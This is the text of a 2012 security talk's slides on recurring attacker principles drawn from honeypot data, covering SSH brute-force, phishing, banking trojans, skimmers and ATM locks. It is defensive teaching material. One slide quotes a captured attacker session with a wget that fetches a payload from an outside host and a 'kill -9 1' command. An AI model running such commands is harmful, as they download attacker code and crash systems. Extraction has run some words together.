Learning from the attackers Bibliography Q and A

The Attackers’ PrinciplesThe shortest, fastest and cheapest path : a common method

for compromising information system

Alexandre Dulaunoy

alexandre.dulaunoy@circl.lu

November 29, 2012

Learning from the attackers Bibliography Q and A

Introduction

Introduction or Disclaimer

I We operated honeynets and honeypots the past 8 years andwe collected ”some” data

I On the collection of 5000 anonymized incidents seen from/toLuxembourg in 2011

I Based on this analysis, we found common and recurringpatterns about attackers practices

I By sharing those practices, we hope this helps to better secureinformation systems

Terminology : users are running information systems and attackers are the one trying to attack them.An user can become an attacker and an attacker can become an user

Learning from the attackers Bibliography Q and A

Design Principles of Security Mechanisms

Design Principles (Saltzer and Schroeder, 1975)

I Principle of least privilege and separation of privilege

I Principle of fail-Safe defaults

I Principle of economy of mechanism

I Principle of complete mediation

I Principle of open design

I Principle of least common mechanism

I Principle of psychological acceptability

Learning from the attackers Bibliography Q and A

Design Principles of Security Mechanisms

The Attackers Principles

I Principle of shortest or fastest path of attack

I Principle of the cheapest path of attacks

I Principle of the weakest link

I Principle of psychological acceptability

Principles are based on the recurring patterns discovered in the various attacks.

Learning from the attackers Bibliography Q and A

Design Principles of Security Mechanisms

The ssh password brute-force case

I Some system administrators use password authentication andweak password

I Scanning IPv4 Internet (smaller than 232 addresses) is fast,cheap and easy

I Success rate is quite good even with a database of 2000passwords

Learning from the attackers Bibliography Q and A

Design Principles of Security Mechanisms

Slowing down attackers...

After a successful ssh brute-force, attackers directly reuse thesystem to do again brute-force. We can affect the principle of theshortest/fastest path...

Pr(Block)

allo

w1-

Pr(b

lock

) uname

nmap

sshd

wget

0.6

0.8

0.20.1

0.3

(0.6)

Attacker

Honeypot

Pr(retry)

nmap

1-Pr(b

lock)

wget

Pr(qui

t )

0.95

0.05

(0.95)

uname (0.6)

Pr(Block)Pr(alternative)

nmap

Self Adaptive High Interaction Honeypots Driven by Game Theory, Gerard Wagener, Radu State, Alexandre

Dulaunoy, Thomas Engel in SSS ’09 Proceedings of the 11th International Symposium on Stabilization, Safety, and

Security of Distributed Systems

Learning from the attackers Bibliography Q and A

Design Principles of Security Mechanisms

Real attacker session: 94.52.64.x username: test

w. .. scbrute.tar .wpw18:28:21 up 6:46, 1 user, load average: 0.15, 0.03, 0.01bashI dont wanna do thatshwget http://www.dragutrau.xxx.su/xxx/yyyI love youkill -9 1Core dumpedl. .. scbrute.tar .wpDu-te dracului

Learning from the attackers Bibliography Q and A

Design Principles of Security Mechanisms

Phishing or the art of making a website acceptable

image from bitofprevention.com

I Attackers rely on user interfacescomplexity

I A common securityrecommendation : ”look for thesmall lock”

I What’s the correct lock? theone of the left? or the one onthe right?

I The attacker is able to collectpasswords...

Learning from the attackers Bibliography Q and A

Design Principles of Security Mechanisms

Phishing or the art of making a website acceptable

image from bitofprevention.com

I Internet browsers try to improvethe situation for SSL website

I Is it really an improvement? oreven more confusion?

I If confusion is still there, theattacker is still able to collectpasswords...

Learning from the attackers Bibliography Q and A

Design Principles of Security Mechanisms

Defeating phishing with One-Time Password

I If passwords have a value forattackers, we should replacethem with One-Time Password

I OTP tokens are now used bymajor banking website

I How to break an OTP? What’sthe fastest path to attack thesystem?

I Is it possible?

Learning from the attackers Bibliography Q and A

Design Principles of Security Mechanisms

The browser is the weakest link

Torpig or Silentbanker are well-known trojan and they knowthe different bank forms.

I Avoid the OTP bycompromising directly thebrowser

I Even with the help of the user.Have you ever installed a toolbaror an extension to your browser?

I You see your transaction butyou sign the transaction ofthe attacker

I The fastest path for theattacker...

Learning from the attackers Bibliography Q and A

Design Principles of Security Mechanisms

Defeating cryptographic scheme

I Use the principle of the weakest linkI Today, bank users have an OTP token to use online bankingI Attackers won’t defeat the OTP scheme, they just hook on the

DOM of the Internet browser (e.g. Torpig or SilentBanker)I Users don’t even need a vulnerable browser, they just install

extensionI Use of psychological acceptability

Learning from the attackers Bibliography Q and A

Design Principles of Security Mechanisms

Psychological acceptability in the browser

Learning from the attackers Bibliography Q and A

Design Principles of Security Mechanisms

Psychological acceptability in the browser

Learning from the attackers Bibliography Q and A

Design Principles of Security Mechanisms

Magnetic stripe card

I A skimmer for analog stripe card is cheap (EUR 110) and easy(keep data on audio tape)

I It doesn’t work with smart card... wait.

Learning from the attackers Bibliography Q and A

Design Principles of Security Mechanisms

Smart card

I Attackers first steal the PIN and after the cardI PIN can be obtained in various ways like a shim on the reader

or a camera close to the readerI Encrypted PIN only applicable to the skimmer case but some

tricks with backward compability

Thinking inside the box: system-level failures of tamper proofing, Saar Drimer, Steven J. Murdoch, Ross Anderson

Learning from the attackers Bibliography Q and A

Design Principles of Security Mechanisms

ATM - a physical example

I ATM are using complex and expensive locks like Cencon

I but there is ”the principle of the cheapest path”

I E for the cencon s2000 and by the way, the plate is only 75USD...

Learning from the attackers Bibliography Q and A

Design Principles of Security Mechanisms

Conclusion

I Attackers follow rules but not always the conventional rules

I When designing the security of an information system, thinkabout their rules

I Penetration testing is usually 6= breaking stuffI Over spending in complex security systems is not always a

good approach

Learning from the attackers Bibliography Q and A

Bibliography

I Know Your Enemy, The Honeynet project - various, (secondedition) Addison Wesley, ISBN 0-321-16646-9

I Computer Security, Art and Science, Matt Bishop, AddisonWesley, ISBN 0-201-44099-7

Learning from the attackers Bibliography Q and A

Q and A

I Thanks for listening.

I alexandre.dulaunoy@circl.lu

I a small quiz : how can you defeat a ”Gas Protection Unit” inan ATM?

Learning from the attackersIntroductionDesign Principles of Security Mechanisms

BibliographyQ and A